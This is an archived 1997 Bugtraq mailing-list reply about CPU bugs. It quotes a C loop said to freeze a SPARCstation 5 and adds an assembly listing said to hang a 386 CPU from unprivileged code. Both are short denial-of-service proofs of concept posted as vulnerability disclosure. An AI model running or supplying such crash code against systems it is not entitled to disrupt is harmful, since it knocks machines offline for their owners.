[5445] in bugtraq
Re: Cute SPARC CPU bug
daemon@ATHENA.MIT.EDU (Dmitry Kohmanyuk =?KOI8-R?B?5M3J1N)
Fri Oct 24 20:03:13 1997
Date: Fri, 24 Oct 1997 15:40:18 -0700
Reply-To: Dmitry Kohmanyuk =?KOI8-R?B?5M3J1NLJyiDrz8jNwc7Ayw==?= <dk@GENESYSLAB.COM>
From: Dmitry Kohmanyuk =?KOI8-R?B?5M3J1NLJyiDrz8jNwc7Ayw==?= <dk@GENESYSLAB.COM>
X-To: "Charles M. Hannum" <mycroft@MIT.EDU>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <199710241742.NAA07576@bikini.ai.mit.edu>; from Charles M. Hannum
on Fri, Oct 24, 1997 at 01:42:32PM -0400
On Fri, Oct 24, 1997 at 01:42:32PM -0400, Charles M. Hannum wrote:
> Compile the following:
>
> main(){while(1);}
>
> with `gcc -O' on a SPARC. You get, roughly:
>
> L1:
> b,a L1
> retl
>
> Run it on a SS5/170. Notice the machine is completely wedged.
> Power-cycle it.
don't have a SS5 to crash, but just to add to CPU bugs topic...
gcc_compiled.:
.lcomm _c.0,40
.text
.align 2
.globl _main
_main:
pushl %ebp
movl %esp,%ebp
movl $0,%eax
pushaw
popaw
movl _c.0(%eax,%eax,4),%ebx
pushl $0
call _exit
leave
ret
this hangs 386 CPU solid. Non-privileged.
Change _main to main to taste.
Ah, my PDP-11 assembly days...